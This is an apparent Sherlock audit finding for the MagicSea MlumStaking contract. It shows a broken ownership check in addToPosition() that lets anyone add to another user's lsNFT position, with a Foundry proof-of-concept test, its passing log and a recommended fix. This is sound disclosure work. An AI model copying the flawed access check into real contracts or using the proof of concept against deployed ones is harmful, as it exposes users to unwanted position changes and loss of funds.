Improper Access Control of addToPosition() allows anyone to increase the position of any existing lsNFT

Summary

Lack of proper access control in addToPosition() enables any user to add any amount to any existing lsNFT position without actually owning it. This results in multiple impacts detailed below but such as loss of funds for legitimate users accidentally adding to positions they do not own as ordinarily, such an operation should fail.

Vulnerability Detail

lsNFT's are minted to users who create a position by staking Mlum tokens and it is expected that only the owner of the NFT should be able to add amounts to the position. However, this is broken to an incorrect access control implementation.

function addToPosition(
        uint256 tokenId,
        uint256 amountToAdd
    ) external override nonReentrant {
        _requireOnlyOperatorOrOwnerOf(tokenId); //@audit - can be bypassed by anyone because it always returns true

The _requireOnlyOperatorOrOwner() is used to check if the caller is the owner or an operator of the tokenId. This function in turn calls _isAuthorized() from the ERC721Upgradeable contract but it does it by passing in msg.sender as both the spender and owner.

    /**
     * @dev Check if a userAddress has privileged rights on a spNFT
     */
    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(
            ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId),
            "FORBIDDEN"
        ); //@audit - passing msg.sender as spender and owner to _isAuthorized always returns true
    }

This inevitably leads to the function _requireOnlyOperatorOrOwner() always evaluating as true due to the logic of _isAuthorized() where it returns true if owner == spender and spender != address(0). This is shown below:

    /**
     * @dev Returns whether `spender` is allowed to manage `owner`'s tokens, or `tokenId` in
     * particular (ignoring whether it is owned by `owner`).
     *
     * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this
     * assumption.
     */
    function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
        return
            spender != address(0) &&
            (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
    }

POC

The following code block can be added to MlumStaking.t.sol to run the viable POC demonstrating the issue.

    function testBobAddToAlicePosition() public {
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(BOB, 2 ether);

        //create position for Alice
        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 90 days);
        vm.stopPrank();

        MlumStaking.StakingPosition memory position = _pool.getStakingPosition(
            1
        );
        //confirm Alice is the owner of the position before Bob adds to it
        assertEq(ERC721(address(_pool)).ownerOf(1), ALICE);

        //add to Alice's position as Bob
        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 1 ether);
        //add one ether to Alice's position
        _pool.addToPosition(1, 1 ether);
        vm.stopPrank();

        position = _pool.getStakingPosition(1);
        //confirm Alice's position has been added to by Bob
        assertEq(position.amount, 2 ether);
    }

Here is the log showing the test passed.

Ran 1 test for test/MlumStaking.t.sol:MlumStakingTest
[PASS] testBobAddToAlicePosition() (gas: 550786)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.65ms (1.47ms CPU time)

Impact

Multiple impacts arise from this:

For ordinary users, they could accidentally add to a position that they do not own when intending to add to their own and this leads to a loss of funds for those users.
For users who have amounts added to their existing positions against their will, this results in early harvesting of rewards as _harvestPosition is called whenever addToPosition() executes. Additionally, depending on the amount, this changes the expected lock duration of the user's position without their consent.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L397-L398 https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L140-L142

Tool used

Foundry Manual Review

Recommendation

Use the _requireOnlyApprovedOrOwnerOf()function to check for ownership or approval of an NFT as it is done with the other functions in the contract.

Duplicate of #378

sherlock-audit / 2024-06-magicsea-judging

dev0cloo - Improper Access Control of addToPosition() allows anyone to increase the position of any existing lsNFT #657